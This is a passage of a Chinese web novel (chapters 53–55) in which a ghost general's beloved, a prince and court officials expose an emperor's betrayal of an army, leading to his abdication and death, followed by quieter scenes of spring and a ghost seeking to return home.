每次都有沈寄时,即便他每年都与桥家那个女郎在一起,从未与他们喝酒胡闹。 他想,蜀州营地寒苦,却比繁华长安要有意思得多。 李御仰头,看着苍穹之上漫天星辰,短促轻笑一声。 这声音太小,小到便被过路的夜风带走,没有留下半点痕迹。 上元佳节,明月高悬,千灯动帝京。 长街喧哗,金花乍起,纷纷如雨落。 屋檐下的花灯排成一条长龙,风一吹,七斜八歪地倒。 桥妧枝坐在花灯下咬了一口面蚕,酸酸甜甜的内馅一入口,立刻唇齿留香。 变幻的光影落在她脸上,将她头上朱钗都镀上一层流光。 她就着梅子酒吃面蚕,一边吃一边想,阿娘的手艺可真好,幸好风寒之症已经好得差不多了,要不然她还吃不到这么好的上元节面蚕。 “沈寄时。” 她戳了戳身侧鬼魅硬邦邦的胸膛,“真可惜,这么好吃的东西你竟吃不到。” 她满足地眯起眼睛,转头看向坐在一旁的沈寄时,发觉才没一会儿,他眉眼就又已经覆了一层厚厚的寒霜。 轻叹一声,她抬手拂去他长睫上的冰晶,露出他被霜雪湿润的睫毛。 心中微动,桥妧枝三两下将那块面蚕吞下,俯身凑到他跟前。 红唇覆上眼尾,寒凉之气顷刻扑面而来,一瞬间,她觉得自己好像在严冬之时含了一口冰块,不敢咽下,又舍不得吐出来。 风寒刚好就敢亲他,桥妧枝觉得自己真是记吃不记打。 算了,不记打就不记吧。 柔软的唇在他眼尾逗留了许久,一直到脖子都开始酸痛,她才缓缓起身。 嘴唇有些发麻,应当是被冰的,她抬手抚上自己的唇,一点一点牵起唇角。 — 正月十六,长安重归沉寂。 昨夜的花灯尚悬挂在朱雀大街,百姓脸上却已经不见过节的喜悦。 晴日,又是晴日。 可对于大梁的朝臣百姓而言,最不愿看到的就是晴日。 天不下雪,圣文帝已有十余日没有上朝,众臣嘴上虽不说,暗中却已是谣言四起。 桥玹坐在政事堂前的案桌上,神色是少有的肃穆。 “相国大人。” 有人小跑着赶来,神色焦急道:“出事了。” 桥玹目光一凛,猛地起身,指着来人道:“出什么事了,还不赶紧说清楚。” 来人道:“昨日上元佳节,一伙匪寇冲进万年县,烧杀抢掠,无恶不作,如今已经逃窜到了山上。” “县内衙门呢?” 来人摇头,神色惶惶然:“匪寇太多,县衙撑不住。相国大人,万年距离长安太近,若不赶紧平乱,恐成大患。” 桥玹目光一沉,看着他,问:“本官问你,到底是匪寇,还是百姓?” “大人,那些人手上有兵器,是匪寇!” 桥大人松了口气,一拍桌案,当机立断:“既是匪寇,那就不必顾忌,立即上奏十二殿下,叫周季然带兵剿匪。” 来人迟疑道:“半个月前,周大人告了病假,如今尚在病中,怕是不能前往。” “告了病假?” 桥大人冷笑,目光凌厉,“他不行,就派别人,刘将军、张副将,随便一个,武将不行就派会武功的文臣去剿匪,要是都不行,老夫就亲自前往!” 来人一惊,连忙称是。 与此同时,周府大门紧闭,内里一派安宁。 石山流水,数十条鱼尾在水中轻摆,顺着潺潺小溪游荡其中。 长刀破空,带起阵阵风声,周季然手腕翻转,利刃入鞘,刀身嗡鸣不止。 汗水顺着额头滑到眉间,周季然没去擦,任由咸涩的汗液落入眼睛,带起一阵刺痛。 闭目瞬间,天地陷入一片黑暗,耳畔有风声流水,还有一道陌生而缓慢的脚步声。 他睁眼转身,对上来人视线,面无表情上前行礼:“殿下。” 李御越过他,垂眸看向溪中的游鱼,顺手拿起放在一旁的鱼食撒进去。 一众肥鱼纷纷聚上来争抢,可大多数连食物的边都没有碰到。 “听说周大人告了假,不成想竟有闲心在园子里耍刀。” “前几日确实病了一场。” 周季然脸上没有被戳穿的窘迫,脊背依旧挺得笔直,声音不咸不淡:“昨日才好些,就想着出来练一练。殿下也是上过战场的人,自然也知道练武于武将而言有多重要。” 李御冷笑,转身去拿他的刀,可指尖刚刚碰到刀柄,就被他飞快躲开。 “殿下,武将的兵器,不可随便落于旁人之手。” “当初这把刀,是裴将军特意寻来给沈寄时做兵器的,不成想最后落在了你手中。” “周季然!” 他收回手,却突然提高声音,将一摞信件砸到地上。 “自从洛阳回京后,我便收到暗卫探查的消息。抚军中郎将表面大肆敛财,侵占百姓良田,一副贪官做派,可实际上却暗中豢养上百私兵,你是何居心?” “父皇老了,受你蒙蔽,但是我还不老,我且问你,你做这些事,是准备谋反吗?” 周季然弯腰拾起那些信件,一个个翻看完,神色不变,抬眸道:“区区几百私兵,怕是还没有入长安,就已经被踏成了肉泥。更何况,殿下调查了这么多,难道不知道这些私兵,陛下都是知晓的?” “区区几百?不到两年光景便有几百,那十年呢,怕是能够踏破长安吧!” 李御额头青筋暴起,怒道:“父皇知晓,是受你蒙蔽,以为你是忠君之人,却不想竟养虎为患!裴将军忠君为国,战死沙场,你身为她养子,为何要这样做!” 为何要这样做? 周季然皱了皱眉,思考了许久,神色很快变得坦然:“或许殿下不能明白,许多事情,并非理智能够控制。沈家军全军覆没那日,周季然恨不得冲入长安,将李氏一族全部刮了。” 李御眉心一跳,轻轻抚上了腰间的剑。 “但是后来,周寄然选择了苟且偷生。” 他神色有些复杂,摸着那块玉,语气淡然:“上梁不正下梁歪,一国之君如此昏庸,那么这个王朝已经烂到了根里,我为何不能做大厦将倾的一个蛀虫?” 李御冷笑:“你当真是不怕死。” “证据确凿,周季然想必已经必死无疑了。” 他乞儿出身,一无爵位二无世家,早在决定养私兵那一日,就已经做好了赴死的准备。 “殿下恐怕早就查到了,为何今日才捅破?” 李御抿唇:“我想知道,你为何这样做,但是后来,隐约有些猜到了。周寄然,你到底是想做大梁的蛀虫,还是想要有朝一日弑君报仇,恐怕自己都分不清吧。” 周季然一怔,猛地抬头,意识到什么。 “此等重罪,我必杀尔。” 他说完,话锋一转,“但,你若是能将功赎罪,孤也未尝不会留你一命。” 周季然敛眸,问:“将功折罪?什么样的功,以人证之身状告当今圣上残害忠良吗?” 李御眸光一沉,没有说话。 “殿下又是如何得知浮屠峪一事的?” 长剑出鞘,抵在周季然喉咙处,“这件事与你无关,谋反之罪,株连九族,你只需说,是否想活。” “你见到了他吧!” 周季没有说出那个名字,却嘲讽道:“你与他素来交好,那他有没有告诉你,沈家军是受了殿下牵连?” 李御面部痉挛一瞬,“你说什么?” “他果然没说。” “承平二十七年,太子死后,殿下被圣上冷落半年之久,一直到沈寄时身死,方才重得重用,这等巧合,殿下就没想过为什么吗?” 周季然震声道:“殿下要夺权,正巧,周季然有一件东西要交给殿下。” 李御收回长剑,神色晦暗,“什么东西?” — 皇城禁军包围周府时,引起了好大的动静。 陛下尚在昏迷,身边手握兵权的近臣却因谋反的罪名被下大狱,其间因果怕是没有那么简单。 一时之间,众说纷纭。 桥妧枝撑伞立在巷口,看着周府上金光灿灿的牌匾被摘下,突然想到钦天监监正周青云被杖杀那日,府前也是这样的光景。 “周季然为什么会被抓?” 沈寄时指尖拂过自己眼角,没有回答,反而盯着她道:“桥脉脉,我觉得眼睛有些难受。” “哪里难受?” 她注意力立即被吸引过去,也顾不上什么抄家不抄家,努力垫脚去看他眼睛。 沈寄时攥住她的手,将她指尖在自己眼尾处按了按,低声道:“这里有些难受,卿卿帮我揉一揉。” 指腹触上冰凉的皮肤,桥妧枝看着自己指尖所按的地方一怔,下意识想将手往回缩。 “别动。” 他微微眯眼,挑眉道:“桥脉脉,你是不是偷亲我了?不然我这里怎么那么痒?” “谁偷亲你了!” 仿佛被踩了尾巴的猫,桥妧枝当即将手缩回来,偏头道:“难受就去看大夫。” 沈寄时啧了一声,“那我怎么感觉,昨夜好像有什么柔软又温热的东西碰了碰我这里?” “兴许是小花。” 桥妧枝推了推他,“明明被偷亲最多的人是我,我还没说什么。你还没回答我,周将军为什么突然被抄家?” 沈寄时不再逗她,看向禁军不断进出的周府,“李桓昏庸,但李御不是,他只要有心,能查出周季然不少罪状。” “比如?” “比如纵容属下大肆敛财,又比如豢养私兵。” 桥妧枝险些以为自己听错了,心下一紧,“这……这是要杀头的……” 冰凉的手贴上她额头,沈寄时垂眸,低声道:“那又如何?我还去弑君了。” 她皱眉,显然不愿听他这样说,抓着他手腕微微偏头:“你那日去找李御,是和他说了什么吗?” 沈寄时越过她肩膀看向她身后不远处,微微眯眼。 “桥脉脉,我杀不了李桓,但是李御可以。” “他这个人,亲缘浅,有野心,阿娘说过,他比那个早就死了的太子更适合做皇帝,他自己也只知道这一点。” 桥妧枝心脏重重一跳,察觉自己好像知道了什么辛秘之事。 “桥脉脉。”他声音向下压了几分,“回头。” 来不及反应,她下意识转身,看到立在身后之人先是一怔,脱口而出:“十二殿下!” “桥姑娘。” 李御与她打过招呼,转而看向她身后之人。 桥妧枝向前一步,本能地挡在沈寄时身前。 像是鸡仔护着老母鸡! 嗤笑一声,李御扬了扬下巴,“死了一遭,就需要桥姑娘保护你了,丢不丢人。” 沈寄时扬眉,并不否认。 巷外重兵把守,无人敢进来,李御抱胸感叹,“没想到,死人都不嫌弃,真是够疯的。” 他靠在墙上,仰头看着日光微微眯眼,语气带笑,好像又成了那个住青城山上时常抽空下山买酒的少年。 “弑父夺权,史书不知怎么写我呢。” 李御顿了顿,眉眼染上一丝阴鸷,看着他问:“沈寄时,我再问你一次,八万将士困在枉死城的事,是真是假?” 沈寄时抬眸,似笑非笑看着他,并不说话。 对视间,李御率先移开目光,捂着眼睛哑声道:“母妃出身低微,我自小不受重视。东胡之乱时,父君甚至忘记将我带上,是我追在马车后面跑了很久,被裴将军看到,才得以活下来。” “我第一次受伤,是李副将为我上的药。喝的第一杯酒,是和你共饮的一坛竹叶青。第一个生辰礼,是在青城山营地内,众人筹钱为我铸的玄铁剑。若不是上战杀敌立下军功,李御只会是众多皇子中最没有姓名的一个。” “我确实想得到皇位,但是身为皇子,又有哪个不想?” “太子之死与我无关,我没有想到,父君只因猜忌便迁怒了整个沈家军。真是可笑,到头来,我不杀伯仁,伯仁因我而死。” 晌午日光浓烈,沈寄时将竹伞向身侧人倾泻,嗤笑道:“沈家功高盖主,李桓早已心生忌惮,就算没有太子之事,就算沈家军从浮屠峪平安归来,也终究逃不过兔死狗烹的下场。” “好在,沈家还留了一个沈萤。” 日光下,李御得脸看起来有些苍白,他攥紧手中长剑,问:“父君下了罪己诏,长安就会下雪吗?” “或许吧。” 又是一阵长久的沉默。 “沈寄时。” 李御睁眼,“周季然给了我一样东西。” 他从袖中拿出一样东西,“上面盖着父君的玺印,是当年父君下给冀州节度使的秘旨,内里写有二百八十一字,字字皆是罪证。” 沈寄时缓缓接过那道秘旨,看着上面略显陈旧的字迹,嘲讽道:“区区二百八十一字,竟葬送我沈家军八万将士。” 李御起身,正色道:“宣政殿如今都已经是我的人,你要如何做?” 沈寄时:“李桓这个人,我亲自来杀。” 【作者有话说】 特别特别喜欢蜀州的时候,每次一写到过去,我就一边哭一边灵感爆发 54 第54章 ◎我是他的娘子◎ 承平三十年于大梁而言,注定是不平凡的一年。 这一年正月,长安发生了一件大事。 抚军中郎将被抄家第二日,天未破晓,圣上失德的传言再次喧嚣尘上。 茶楼酒肆中,拓印着二百八十一字的宣纸纷飞得到处都是,街头巷尾,无论是文墨书生还是贩夫走卒,皆对此事议论纷纷。 长达一年的干旱,长安百姓对圣文帝昏庸之举早已积怨已久,那些宣纸如同浇在微火上的一桶油,瞬间点燃了民愤。 周季然下了大狱,长安禁军便好似隐身一般,任由传言愈演愈烈,直到最后,群情激愤。 当日晌午,一道由周季然鲜血书写的陈情书从大狱中传出,布帛之上写有一千余字,一为认罪,二为状告圣上残害忠良,为一己私欲致使八万沈家军埋骨浮屠峪。 谁都没想到,那些将士为大梁出生入死,最终却死在了他们一心效忠的帝王手上。 此书一出,朝野震动。 御史台上,众臣手托乌纱帽乌泱泱跪了一地。 不破不立,破而后立。 这道附着在大梁朝身上,内里早就已经流脓腐化的伤口,终于在今日被揭开。 那一夜,长安灯火通明,街头巷口,再次传来无数呜咽抽泣声。 火光烧了半宿,香火随风散落得到处都是。 桥妧枝立在窗前迎风眺望,看着灰烬漫天飞舞,伸手去接。 余辉蹭着她掌心翻滚,又很快飘远。 少女眸光流转,偶然在树杈间发现一抹新绿,很浅淡的一抹,若是不仔细看,极容易略过。 悬挂在树枝上的灯笼随风摇摆,光下那抹新芽随着光影时明时暗,生机勃勃。 今年的春神,竟比往年来得还要早一些。 她兴奋转头,想要将这个消息分享给沈寄时,可回过头来,才想起他已经陷入了沉睡。 并不气馁,她合上窗,抓着他一片衣角和衣躺下,暗中思忖,等上巳节时,埋在树下的梅花酒便能挖出来浅尝一番了,埋了一冬,一定很好喝。 与此同时,窗外树枝上的那抹新绿,用一种肉眼不可见的缓慢速度向上舒展。 今年,兴许有个好春日。 这一夜,桥妧枝睡得极好,她仿佛于睡梦中仿佛闻到了股股梅香。 第二日清晨,她是被窗外一阵一阵的破风声吵醒的,手心衣角只剩孤零零一片,衣角的主人却不在屋内。 她意识到什么,顺着木梯缓缓走下阁楼。 空旷的庭院内,长枪挥舞,枪尖划过长空带起一阵强风,刮动合欢树光秃秃的枝丫。 沈寄时一**出,凌厉眼神对上屋檐下少女投来的目光,动作一顿,利落收枪。 “吵醒你了?” 他将长枪负在身后,微微皱眉。 天气依旧很冷,他身上却只穿了一件白色单衣,玄色玉带束在腰间,将他身姿衬得越发颀长。 长发高高束起,清俊的脸上带了些沉肃,好像又成了当年意气风发的沈小将军。 桥妧枝看得有些出神,直到清风将屋檐下悬挂的玉片风铃吹起,她才缓缓回神。 “沈寄时。”她走到他身前,指着树上那唯一一处新芽道:“你看,春天快到了,再过半年光景,合欢花就开了。” 顺着她指尖看去,沈寄时眸光微动,浅笑道:“是,桥脉脉,春天快到了。” 他低头,攥住她指尖,低声道:“但在春天来临之前,桥脉脉,我想要几样东西。” 桥妧枝疑惑抬头,听他道:“我想要一些麦麸,还有陈醋,我的枪尖生锈了,想擦一擦。” 她猛地瞪大双眼,“我这就去找!” 说着提起裙子就向外跑,可刚要踏出门槛,又想到什么,转头看他:“沈寄时。” 被唤之人转身,静静等她接下来的话。 少女站定,问:“你这次,要走多久啊?” 沈寄时一怔,眉眼柔和下来,道:“等李桓一死,我要亲眼见沈家军入轮回,人间黄泉有时差,堪堪算下来,卿卿兴许要等一两个月。” 一两个月而已。 桥妧枝心下一松,点了点头,道:“没关系的。” 想了想,她又道:“埋在树下的酒,春日就要启封,你若是赶不及,我就不等你了,等我们明年就多酿几坛。” 自他回来,她说得最多的便是我们。 沈寄时看着她,“好,明年我们多酿几坛。” 止危枪的枪尖在混着麦麸的醋水中浸泡了一整日,上面的锈迹却只褪去浅浅一层,然而内里更深的锈迹依旧牢牢附着在枪头,怎么都擦不掉。 浮屠峪里雪水太冷了,止危枪在里面泡得太久,上面的锈迹早就与之融为一体,如同附骨之疽。 桥妧枝沮丧地将那柄枪拿出来,看了许久,最终小心翼翼放在桌案上。 那天傍晚,乌云蔽月,宫中传来消息,昏迷许久的圣文帝醒了。 桥妧枝坐在合欢树下的秋千上,足尖抵在地面轻轻摇晃。 傍晚的凉风吹动她垂下的碧色裙摆,好像湖中荡漾的水波。 沈寄时蹲下身子将她裙摆微微拢起,手却没有离开,冰凉的掌心透过单薄的衣料传到她小腿肌肤,带起一阵凉意。 她没动,轻声问:“是今夜吗?” 沈寄时仰头看她,苍白清俊的面容在花灯映衬下有些晦暗不清。 桥妧枝俯身,低头在他唇上落下不带情欲的浅浅一吻,道:“那你快些去吧,别让他们等得太久。” 顿了顿,她还是出于私心加了一句:“也别让我等太久。” 话音落下,钟楼之上钟声响起,仿佛在催促他离开。 “不会再让卿卿等太久。” 桥妧枝敷衍地嗯了一声,催促他快走,一低头,看到指尖停着一只银色的蝴蝶,正亲昵地冲她挥动翅膀。 她呼吸一轻,指尖一动不动,一直等到那只蝴蝶化作银光消失,方才活动了一下有些僵硬的肩胛。 庭院中又只剩她一人,她起身,向府外走。 桥夫人正立在门前来回踱步,见她出来,先是皱眉,继而抬手将她额前发丝别到耳后,柔声道:“深更半夜,脉脉怎么出来了,是睡不着吗?” 桥妧枝看着桥夫人有些红肿的眼眶,摇了摇头。 “我要去御史台。” 桥夫人一怔,心跳不由得加速,启唇却说不出话来。 少女眸光很亮,道:“那些将士的亲属跪在御史台前请愿,沈寄时是主帅,他的亲属更应该首当其冲,可沈家没有人在长安。阿娘,我是沈寄时的娘子,要为他去争一个公正的。” 桥夫人眼底通红,哑声道:“脉脉,你知不知道,那些人,是在逼天子认罪。” “那娘亲,觉得天子有罪吗?” 自然是有的,怎么会没有。 桥夫人抿唇,没有犹豫,道:“陛下有罪,杀良将,视人命如蝼蚁,枉为帝王!” 桥妧枝松了口气,轻轻往桥夫人手中塞了一样东西。 桥夫人下意识低头,却见手中是一份没有盖官印的婚书。 没有盖印,便做不得数,可她看着上面一笔一划力透纸背的字迹,鼻尖一酸,终究还是松了手。 — 宣政殿内,沉闷的咳嗽声不绝于耳。 圣文帝将药盅重重摔在地上,向外挥舞着胳膊,激动道:“庸医!太医院的人都是庸医!朕整日喝药,却不见好,到底何时能下榻!” 宫人连忙上前将碎片拾起,大太监将床幔缝隙合上,低声道:“陛下稍安勿躁,太医说今日之后,陛下便不用再喝药了。” “当……当真?太医当真是这么说的?” 圣文帝呼哧呼哧地喘息起来,吃力道:“可朕怎么觉得,身子越发虚弱起来,甚至还不如前几日使得上力。对了,周季然呢,朕醒来这几日,怎么也不见他进宫。” “还有十二咳咳,还有朕的那些儿子,怎么一个个都不来尽孝,难道还要让朕下旨才能让他们入宫吗?” 大太监眼皮微动,并不答话,只将茶水奉上,却被圣文帝一把挥开。 “朕在问你话呢,十二为何不来?朕的那些儿子为何还不来?” 滚烫的茶水泼在大太监手上,痛得他松垮苍白的面皮抽了抽。 忍着剧痛,大太监面无表情道:“十二殿下正在安抚民怨。” “民怨?什么民怨?长安出事了?为何朕不知道?” 圣文帝面色一沉,一把将床幔挥开,抬头间突然动作一顿,眯眼问:“外面出了何事?为何这么亮?” 大太监头也不抬,冷笑道:“如今满长安都知道,陛下忌惮沈家功高盖主,命冀州节度使设计葬送了沈家军八万将士性命,外面的人正要吵着闹着讨伐陛下呢。” “放肆!” 圣文帝面色一白,一把扯住大太监衣襟,呼吸急促,怒道:“是谁说的!是周季然!只有他知道这个秘密,朕就不该留他!朕要诛他九族!” “周将军已经下了大狱,轮不到陛下杀了!” “下了狱?好!好啊!干的好!” “朕有什么错!朕是君,沈寄时是臣,那些将士不过蝼蚁,当年为了一统天下,白起坑杀四十万赵军,朕为了大梁江山才杀了八万,何错之有!” 话音刚落,宣政殿大门砰地一声被人从外面推开。 明暗交替,立在门前的青年笼罩在阴影下,看不清神色。 圣文帝抬头,眼中迸射出惊喜,激动道:“十二!将外面那群人讨伐朕的人抓起来,全都抓起来,朕要诛他们九族。” 李御满身肃杀,没有出声,缓步走进殿内。 他脚步很慢,殿内烛光照在他脸上,他的神色亦随着步伐一点一点由暗转明。 自始至终,他面无表情,刚毅的脸上,神色称得上冷酷。 圣文帝看着这一幕,心尖一颤,突然有些说不出话来。 他隐约从这个儿子身上,看到了自己的结局。 他想到,这个儿子曾经因为出身卑微,被自己放在冷宫之中自生自灭。想到他与沈家军出生入死多年,密不可分的关系。想到四年前,他明明跟在太子身后,年纪尚小,可周身气势却隐约有超过太子的架势。 圣文帝睁着眼睛环顾四周,后知后觉地发现,这里早已不是自己熟悉的宣政殿,那些跟在他身边伺候的宫人,不知什么时候都已经换成了生面孔。 “逆子!” 圣文帝反应过来,指着他怒骂:“你是要谋反吗!” “谋反?” 李御将这个词在口中重复了一遍,轻笑一声:“那父皇呢?” 他居高临下看着这个垂垂老矣的君王,语气嘲弄:“大梁建朝至今二百七十余年,父皇要凭一己之力,让大梁基业毁于一旦吗?” “自十年前东湖之乱始,天下动荡,每一天都有无数人死去,大梁将士如同枯草一样一个接一个死在战场上,而你,却杀良将,亲手葬送数万将士性命!” 猛地抽出腰间长剑,李御冷冷道:“如今天下人,正在等父皇给个交代呢!” 圣文帝指间发抖,目眦欲裂,“你要弑父?” 李御目光如炬,“弑父之名,儿臣担不起!还请父皇下罪己诏,将皇位传位于儿臣。” 剑锋之下,苍老的皮肤露出青紫色的血管。 他再一次被剑锋所指,只是这一次,持剑之人成了他的亲生儿子。 他真的错了吗?可他不是天子吗?天子也会错吗? “朕竟已经这么老了。” 他再一次重复了这句话,浑浊的双眼缓缓闭上,糊涂多年的头脑却渐渐清明了几分。 弹指间,六十年光景匆匆而过。 年迈的圣文帝看到了自己初登基的那一年,他立在宣政殿前的白玉阶上,意气风发,睥睨天下。 “民为贵,社稷次之,君为轻。” 少年帝王负手而立,一步步走下长阶,斗转星移,从春秋鼎盛走到雪鬓霜鬟。 他呼吸愈发粗重,脸色涨红,道:“朕下罪己诏,朕传位于你,留朕一命……十二,朕是你的生父。” 一霎那,在众人看不到的地方,缕缕紫气从他身上溢出,逐渐汇成一条威风凛凛的紫龙,长啸一声,钻入李御体内。 早已准备好的罪己诏和传位圣旨被丢在床上,玉玺重重盖下。 李御收回剑,头也不回地大步迈出宣政殿。 结束了。 圣文帝还没来得及松一口气,忽觉一阵寒风吹过,他眼皮重重一跳,一抬眼,惊恐地瞪大双目。 殿门合上,李御一言不发,负手在门前站了许久。 星河铺陈于苍穹,紫薇星闪烁一瞬,突然变得更亮。 直到殿内烛火熄灭,这位新的大梁统治者闭目,对身侧亲信道:“立即昭告天下,父皇驾崩。” 【作者有话说】 写的不满意,会修,最好是第二天看 55 第55章 ◎“你能与我共伞吗?”◎ 圣文帝崩逝于孟春时节一个有些寒冷的夜里。 那天晚上,寒风肆虐,皇城之上烽火次第燃起,挂起了一片片白幡。 跪在御史台前的众臣和百姓枯等一夜,终于在黎明破晓前等来了一道罪己诏。 一时之间,孟春寂夜的御史台前,涕泪俱下。 明黄色的诏书带着一代君王的全部罪责被载入史册,可那长眠于山间的八万枯骨却再也回不来了。 鼓楼上的钟声敲满了三万下,长安依旧是那个长安,偶有行人因钟声在朱雀大街驻足,却只发出一声鄙夷的轻笑。 乱世里,权贵如食客,百姓似食羹,没有人会为一个昏庸的君王哭泣。 这一年正月二十,十二皇子李御即位。 这位尚且年少的新君并没有依照祖制于次年修改年号,而是登基第三日,便匆匆将年号改为昭宁,自此,是为昭宁元年。 “承平二十年始,山河动荡,大梁于乱世中风雨飘摇十年之久,承平这个年号,没必要再有第三十年了。” 帝王的声音响彻大殿,群臣默然,继而山呼万岁。 呼声就着长风从皇宫传至兴宁坊,又穿过大街小巷,直到遍布长安城。 桥妧枝坐在秋千上,耳边闪过呼呼风声,仰头去看树杈间那抹新绿。 短短几日,那抹淡绿变得更加浓墨重彩,它的四周亦隐约有新绿冒出。 桥妧枝有些失落,春神已至,长安却还是没有下雨。 秋千摇晃,她将额头轻抵在藤蔓上,忽感一股很淡很淡的潮意。 她睁眼,细看之下,方见秋千的藤蔓上不知何时凝上了一层水珠。 她一怔,突然如释重负。 昭宁元年初始,名为大梁的车轮在历史的洪流中走过了一段泥泞又颠簸的路。 上一年粮食收成不好,山匪频频作乱,百姓民不聊生。正月底,万年县及周边六县爆发了一场饥荒,百姓食不果腹,怨声载道。 新帝虽年少,却杀伐果断,一面派军剿匪一面开仓赈灾,白花花银两如流水一样往下拨,方才勉强稳住了动荡的民心。 桥大人忙得脚不沾地,一连数日未曾回府。 桥妧枝白日里与桥夫人出城施粥,偶尔空闲便又去政事堂为桥大人送饭,极少有闲下来的时候。 于是在她无暇注意时,庭院中的合欢树不知不觉间蒙上了一层新绿,转眼已是三月。 晌午时分,桥妧枝拎着空荡荡的食盒从政事堂出来,乘车沿着巷口往回走,却不想行至礼部时,马车缓缓停下。 马夫回身道:“女郎,前面人太多,马车过不去,我们要绕路了。” 桥妧枝探头出来,看到礼部东墙之下围了乌泱泱一群人。 她问:“今日是什么日子?” 马夫笑呵呵回答:“今日是会试放榜日,参加春闱的举人都聚在这里看榜,闹哄哄好不热闹。” 桥妧枝一怔,这才意识到,冬去春来,转眼间春闱都已经结束了。 “往南走。” 她想起什么,对马夫道:“沿着朱雀大街一直走,我们先去一趟城南。” 马车立即掉头,穿过一条狭窄的小路,最终停在城南有名的凶肆门口。 秦掌柜正在拨动算珠记账,一抬头,看到立在门前的女子,惊诧道:“东家?” 连忙放下账本起身迎接,秦掌柜道:“女郎今日来得巧,小的正在整理账目,不会儿女郎便能过目。” 桥妧枝从腰间摘下荷包递给他,摇了摇头,“账本便不看了,我是来补账的。” 秦掌柜没接,转身将账本拿过来,对她道:“女郎有所不知,上个月,朝廷已经将拖欠将士的赙物下放了,今后女郎便不用再来补账。” “已经发放了?” 掌柜点头,轻叹道:“先帝拖欠了一年的赙物,新帝不到三月便全部发放,何其讽刺。” 他说完,自觉失言,连忙又道:“这段时日凶肆生意好,还有不少余银,等这个月结束,小的便将银两送去相国府。” 朝廷下发赙物是好事,那些没有被她及时寻到的将士家眷拿到赙物,也能早日过得好一些。 桥妧枝眉眼弯起,没有收回荷包,而是拿起许多纸扎物塞进马车,对马夫道:“张伯,你先带着东西回府,我想去朱雀大街走一走,阿娘若是问起,你如实说便可。” 张伯往那些纸扎上多看了两眼,没有多说什么,只叮嘱道:“三月正逢倒春寒,女郎衣着单薄,早些回去。” 说完,马鞭扬起,车轮摇摇晃晃往前滚动,越走越远。 桥妧枝告别了秦掌柜,独自一人沿着朱雀大街往回走。 长街喧闹,人潮涌动,她与无数人擦肩而过,最终顺着香气,停在一个卖糖炒栗子的摊贩前。 “女郎来得巧,这是最后一筐栗子,明日再来买可就没有了。” 小贩将滚烫的炒栗子放进纸袋,憨厚笑道:“女郎想要再吃,便只能等到八九月份栗子成熟时才行,不过那时候都是饱满的鲜栗,炒起来比如今的旧栗好吃得多。” 桥妧枝笑笑:“那还真是巧,还好我今日来了。” 她接过装满栗子的油纸,感受着里面的滚烫,如以往一样,转身走进一间热闹的茶楼。 依旧坐在角落的位置,杂乱的交谈声不绝于耳,她处在其中,好似沸水中的孤舟。 指尖沾取茶水在桌案上写写画画,水渍断断续续最终留下八十的字样。 八十日,自圣文帝崩逝,沈寄时去枉死城已经过了八十日了。 这八十日换算成黄泉时间,便是八十年,竟比她们相识的时间还要长得多。 她总是告诉自己殊途同归,可如今细想,才发现阴阳所隔是天堑。 她尚且还好,可沈寄时呢,应当会比她难受的多吧。 对面突然坐下一人,桥妧枝心不在焉地抬头,却不想,对上了一张苍白又熟悉的脸。 她一怔,手边茶杯晃动,一时不察,温热的茶水洋洋洒洒打湿了袖口。 忘了去擦衣袖上的茶水,她目光片刻不移,打量着突然出现的鬼魅。 眼前郎君苍白而消瘦,身上带着一股翩翩公子的温润气质,见她看过来,礼貌轻笑。 很奇怪,当初沈寄时用这张脸时,她总怀疑他是不是她的沈小将军,可如今同样的脸出现在她面前,她却能肯定眼前人不是沈寄时。 没有出声,她慢悠悠收回目光,从纸袋中捧出一把栗子,放到真正的沈郎君面前。 “这位姑娘。”鬼郎君迟疑道:“你果然看得到我。” 沈郎君看了一眼她头顶上的绒花,抱拳道:“今日唐突了女郎,只是在下前几日在林间游荡,于城外土地庙碰到一个名叫窈娘的女子。” 桥妧枝剥栗子的手一顿,眼睛飞快地眨了眨,大概猜到,窈娘应当是将这只鬼认成了沈寄时。 果然,沈郎君继续道:“她见到在下第一眼,似乎有些怕我,隔着很远与我说话,催着我来城内寻一个头戴鹅黄色绒花的女郎。” 他有些羞赧,尴尬道:“某并非长安人士,本家乃是千里外的平州,长安城内并无数人。只是那位姑娘催得着急,我便有些好奇,前来问问呢,不知女郎可认得在下?” 他已死一年之久,印象里,不曾见过这个面容姣好的女郎。 桥妧枝失笑,反问回去:“那郎君认得我吗?” 沈郎君摇头,“印象中不曾见过,某还未入长安便客死他乡,想来应当是不识得女郎的。” 桥妧枝为他续上一杯茶,歉意道:“沈郎君,是窈娘认错了人,你我并非故人。” 闻言沈郎君思绪一顿,不由得回想自己刚刚有没有说过自己的姓氏,可兴许是死的时间有些久,脑子不够用,他竟已经想不起来了。 “原来如此,竟是认错了人。” 摇了摇头,他犹豫片刻,还是道:“但是见了女郎,在下还想拜托女郎帮一个忙。” 怕她拒绝,沈郎君紧接着道:“沈某生前乃是平州商贾,虽无权势,但有家财万贯,女郎若是能将我尸骨送回家乡,必有重金酬谢。” 桥妧枝眸光微闪,将指尖茶水擦干,有些诧异,“郎君尸骨没有被送回平州吗?” 沈郎君摇头,“死得突然,尸骨还在城外山间,如今只有我知道在何处,身死许久,所剩唯一执念,也只有魂归故里。” 魂归故里啊…… 桥妧枝下意识向东看去,千万里外,还有八万将士埋骨在他乡。 — 三月底,草木青青,长安城外的小山上开满了五颜六色的野花。 窈娘坐在树枝上,看着树下余烬随风飘远,不好意思道:“没想到认错了人,他原来不是你喜欢的人啊。” 桥妧枝将买来的胭脂投到火盆里,不慎在意地摇了摇头:“你没见过沈寄时真容,认错也正常。” 闻言窈娘有些唏嘘,晃了晃腿,小声道:“原来那个魙鬼就是赫赫有名的长宁侯啊,怪不得身上杀气那么重。” 桥妧枝仰头,诧异道:“你知道他?” “冠勇三军的长宁侯嘛。” 窈娘托腮,回忆起来,“做鬼无趣,我以前无聊时总会去长安城游荡,好几次看到一个少年负枪纵马出城,身上杀气腾腾,那模样,三尺之内鬼怪都不敢进他身。” 桥妧枝被逗得笑出声,想了想,还是为他辩驳:“他只是看起来比较凶。” “是对你不凶吧。” 窈娘也咯咯笑起来,等笑够了,才问:“那你最后将那位沈郎君的尸骨送回平州了吗?” “十日前就已经送到平州了,他家中人很感谢,送了许多名贵的茶叶。” 桥妧枝想起什么,从袖中掏出几本书,问窈娘:“你托我带来的书险些忘了给你,说起来,你何时喜欢看这种晦涩难懂的书了?” “不是我看。” 窈娘从树枝上飘下来,抱着那些书指了指立在远处的鬼郎君,幽幽道:“喏,是给他看的。” 她神色有些别扭,“前几日春闱放榜,他看起来有些难过,我便想将这书送给他。” 